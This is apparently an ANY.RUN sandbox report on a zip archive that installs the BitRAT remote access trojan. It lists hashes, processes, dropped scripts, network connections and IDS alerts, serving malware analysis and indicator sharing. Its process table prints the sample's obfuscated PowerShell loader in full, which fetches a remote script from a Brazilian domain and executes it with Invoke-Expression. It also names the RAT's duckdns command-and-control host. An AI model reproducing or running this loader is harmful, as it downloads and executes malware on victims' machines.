analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

XNSRUYFKNNERWHVPOJCOXE_COPY.zip

Full analysis: https://app.any.run/tasks/8978baf2-76d2-4a0b-b9cf-dc6d2e5bb1a8
Verdict: Malicious activity
Threats:

Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links.

Malware Trends Tracker     >>>
Analysis date: May 20, 2022, 21:53:29
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
trojan
bitrat
rat
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract
MD5:

A016E9EEA0E58CAD858302954A7860E3

SHA1:

2EBC995D7CF249E152B19985F441AEFC7F22D7DC

SHA256:

9FA4CA06A732F3C1EC1B31DB6592643F7EFC69092E85203DE40C25DC630D697B

SSDEEP:

48:9RMSGzT9fPlEhNKEiq9VWtANU3dAuVeeqhh269CsknR:3MdzTAnPiqrSA63qe/68XnR

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • cmd.exe (PID: 2964)

    • BITRAT was detected

      • aspnet_regbrowsers.exe (PID: 1732)

    • Connects to CnC server

      • aspnet_regbrowsers.exe (PID: 1732)

  • SUSPICIOUS

    • Checks supported languages

      • WinRAR.exe (PID: 2944)
      • WinRAR.exe (PID: 940)
      • WScript.exe (PID: 3224)
      • PoWERSHELL.exe (PID: 660)
      • powershell.exe (PID: 604)
      • WScript.exe (PID: 1904)
      • cmd.exe (PID: 2964)
      • PoWERSHELL.exe (PID: 2528)
      • powershell.exe (PID: 3092)
      • aspnet_regbrowsers.exe (PID: 1732)

    • Reads the computer name

      • WinRAR.exe (PID: 940)
      • WinRAR.exe (PID: 2944)
      • WScript.exe (PID: 3224)
      • PoWERSHELL.exe (PID: 660)
      • powershell.exe (PID: 604)
      • WScript.exe (PID: 1904)
      • PoWERSHELL.exe (PID: 2528)
      • powershell.exe (PID: 3092)
      • aspnet_regbrowsers.exe (PID: 1732)

    • Application launched itself

      • WinRAR.exe (PID: 2944)
      • PoWERSHELL.exe (PID: 660)

    • Executes scripts

      • WinRAR.exe (PID: 940)
      • powershell.exe (PID: 604)

    • Executed via WMI

      • PoWERSHELL.exe (PID: 660)
      • PoWERSHELL.exe (PID: 2528)

    • Executes PowerShell scripts

      • PoWERSHELL.exe (PID: 660)
      • PoWERSHELL.exe (PID: 660)
      • PoWERSHELL.exe (PID: 2528)

    • Reads Environment values

      • PoWERSHELL.exe (PID: 660)

    • Creates files in the program directory

      • PoWERSHELL.exe (PID: 660)

    • Starts CMD.EXE for commands execution

      • PoWERSHELL.exe (PID: 2528)

  • INFO

    • Checks Windows Trust Settings

      • WScript.exe (PID: 3224)
      • PoWERSHELL.exe (PID: 660)
      • WScript.exe (PID: 1904)
      • powershell.exe (PID: 604)
      • PoWERSHELL.exe (PID: 2528)
      • powershell.exe (PID: 3092)

    • Reads settings of System Certificates

      • PoWERSHELL.exe (PID: 660)
      • powershell.exe (PID: 604)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipFileName: XNSRUYFKNNERWHVPOJCOXE_COPY.iso
ZipUncompressedSize: 65536
ZipCompressedSize: 1960
ZipCRC: 0xecb32fd9
ZipModifyDate: 2022:05:05 00:45:01
ZipCompression: Deflated
ZipBitFlag: -
ZipRequiredVersion: 20
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
45
Monitored processes
10
Malicious processes
6
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winrar.exe no specs winrar.exe no specs wscript.exe no specs powershell.exe powershell.exe no specs wscript.exe no specs powershell.exe no specs cmd.exe no specs powershell.exe no specs #BITRAT aspnet_regbrowsers.exe

Process information

PID
CMD
Path
Indicators
Parent process
2944"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\XNSRUYFKNNERWHVPOJCOXE_COPY.zip"C:\Program Files\WinRAR\WinRAR.exe—Explorer.EXE
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.91.0
940"C:\Program Files\WinRAR\WinRAR.exe" C:\Users\admin\AppData\Local\Temp\Rar$DIa2944.28381\XNSRUYFKNNERWHVPOJCOXE_COPY.isoC:\Program Files\WinRAR\WinRAR.exe—WinRAR.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.91.0
3224"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Rar$DIa940.29104\XNSRUYFKNNERWHVPOJCOXE_COPY.VBS" C:\Windows\System32\WScript.exe—WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
660PoWERSHELL $QNOKTAWSRJKGWJSHBCPCFL = '[S9]=/(!)!043$@&[email protected]=^-4*}*-9*1%5_!{2708MREAdER]'.Replace('9]=/(!)!043$@&2=90$43@','ySt').Replace('8-=^-4*}*-9*1%5_!{2708','O.StREA');$PNNQQSZGEAVRXAOLFEUJOU = ($QNOKTAWSRJKGWJSHBCPCFL -Join '')| .('{1}{0}'-f'EX','I');$COHGIKJSUFNFGPJRAPVHLS = '[SyS})%&/$]8{5!}(#-#7=#*%8T.W0*}*2-466[&+07+]9{)52*ST]'.Replace('})%&/$]8{5!}(#-#7=#*%8','TEm.NE').Replace('0*}*2-466[&+07+]9{)52*','EbREquE');$SBSBTHYIFEEREFKLLIEPKU = ($COHGIKJSUFNFGPJRAPVHLS -Join '')| .('{1}{0}'-f'EX','I');$RYRNVKOCGZCRDFCOUNJNQC = 'Cr<4_5}^<}6)<{9^]2_08]9<TE'.Replace('<4_5}^<}6)<{9^]2_08]9<','Ea');$JKUCDINFLQUKZJZYFANAHI = 'GE89<4_[<8=7&5+]$0<-7/[)onSE'.Replace('89<4_[<8=7&5+]$0<-7/[)','tRESp');$UNNCGWQRVJUISSSQZQVNOX = 'GE<]*[9[%+$9f7f81a39-5f63-5b42-9efd-1f13b5431005lt;2)07)]((^]REam'.Replace('<]*[9[%+$9f7f81a39-5f63-5b42-9efd-1f13b5431005lt;2)07)]((^]','tRESponSESt');$VYCOHWPANUOYTIVXABGIRA = 'RE!74<\!0+=}38&{5{88)*61nD'.Replace('!74<\!0+=}38&{5{88)*61','aDToE'); .('{1}{0}'-f'EX','I')($PNNQQSZGEAVRXAOLFEUJOU::new($SBSBTHYIFEEREFKLLIEPKU::$RYRNVKOCGZCRDFCOUNJNQC('https://viaescoltacargas.com.br/error/Server.txt').$JKUCDINFLQUKZJZYFANAHI().$UNNCGWQRVJUISSSQZQVNOX()).$VYCOHWPANUOYTIVXABGIRA())C:\Windows\System32\WindowsPowerShell\v1.0\PoWERSHELL.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
604"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "& 'C:\ProgramData\STZZWZQIZROROQNBKKIIKI\STZZWZQIZROROQNBKKIIKI.ps1'"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—PoWERSHELL.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
1904"C:\Windows\System32\WScript.exe" "C:\ProgramData\STZZWZQIZROROQNBKKIIKI\STZZWZQIZROROQNBKKIIKI.vbs" C:\Windows\System32\WScript.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
2528PoWERSHELL -NoProfile -ExecutionPolicy Bypass -Command C:\ProgramData\STZZWZQIZROROQNBKKIIKI\STZZWZQIZROROQNBKKIIKI.batC:\Windows\System32\WindowsPowerShell\v1.0\PoWERSHELL.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
2964C:\Windows\system32\cmd.exe /c ""C:\ProgramData\STZZWZQIZROROQNBKKIIKI\STZZWZQIZROROQNBKKIIKI.bat""C:\Windows\system32\cmd.exe—PoWERSHELL.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3092PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& 'C:\ProgramData\STZZWZQIZROROQNBKKIIKI\TDUPNFANRGSEVXRWSXZLEE.ps1'"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
1732"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
aspnet_regbrowsers.exe
Version:
4.0.30319.34209 built by: FX452RTMGDR
Total events
10 549
Read events
10 461
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
9
Text files
5
Unknown types
2

Dropped files

PID
Process
Filename
Type
2944WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DIa2944.28381\XNSRUYFKNNERWHVPOJCOXE_COPY.isogmc
MD5:17D364D0B95898175A85AECC35DCECC9
SHA256:5BB9328AE65056010144744BE166C85C3F33C742343B7B23C8B7996B3F17629C
660PoWERSHELL.exeC:\ProgramData\STZZWZQIZROROQNBKKIIKI\STZZWZQIZROROQNBKKIIKI.ps1text
MD5:EB31678C6F2273735CD8DE337C0FB8A0
SHA256:2E4FD139911651AE6BE6D5DE78B95CE078F5859030F0504792FA2418D51C0EE5
660PoWERSHELL.exeC:\ProgramData\STZZWZQIZROROQNBKKIIKI\STZZWZQIZROROQNBKKIIKI.vbstext
MD5:821EB65A18FA0ED5788EF392ADB89E67
SHA256:AE9D6C948BB1CD22FD2D7EC6E51BA54DCA38E70F615DC650096454BEA8882805
660PoWERSHELL.exeC:\ProgramData\STZZWZQIZROROQNBKKIIKI\STZZWZQIZROROQNBKKIIKI.battext
MD5:4700424C6DDF2CCCC74940690433B6E1
SHA256:A33EF72FCB453280C3BCE34FDD4019530ACB4F060A8E846D560CD2AD65591F39
660PoWERSHELL.exeC:\ProgramData\STZZWZQIZROROQNBKKIIKI\TDUPNFANRGSEVXRWSXZLEE.ps1text
MD5:3475428D58691665506EFFCEDEA56F20
SHA256:B7461AEC28A45898419D6F4B90EE35F3C474A9866F1A73E95DB458C624F565AA
660PoWERSHELL.exeC:\Users\admin\AppData\Local\Temp\k4tpcdb3.pxi.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
940WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DIa940.29104\XNSRUYFKNNERWHVPOJCOXE_COPY.VBStext
MD5:781F4029EF1EA2427F10E4487490B587
SHA256:B6F3C3DD20C8BC610BE775141A62CD8020A7068B497C68E1239A7E60DDD31E0D
3092powershell.exeC:\Users\admin\AppData\Local\Temp\21ijuihf.q1k.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
660PoWERSHELL.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:D3C284009A5790C3AA90D7C5D620CA65
SHA256:6C12FFF497059706D50431BB47C624FA24A8A7F9B6D52B2AB251FDC588E00E39
604powershell.exeC:\Users\admin\AppData\Local\Temp\utis0xwy.1e3.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
2
DNS requests
4
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
660
PoWERSHELL.exe
187.110.226.122:443
viaescoltacargas.com.br
Mob Servicos de Telecomunicacoes Ltda
BR
unknown
1732
aspnet_regbrowsers.exe
194.147.140.17:9300
bitrat9300.duckdns.org
—
—
malicious

DNS requests

Domain
IP
Reputation
viaescoltacargas.com.br
  • 187.110.226.122
unknown
bitrat9300.duckdns.org
  • 194.147.140.17
unknown

Threats

PID
Process
Class
Message
—
—
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
1732
aspnet_regbrowsers.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 25
1732
aspnet_regbrowsers.exe
A Network Trojan was detected
ET TROJAN Observed Malicious SSL Cert (BitRAT CnC)
—
—
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
—
—
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
XNSRUYFKNNERWHVPOJCOXE_COPY.zip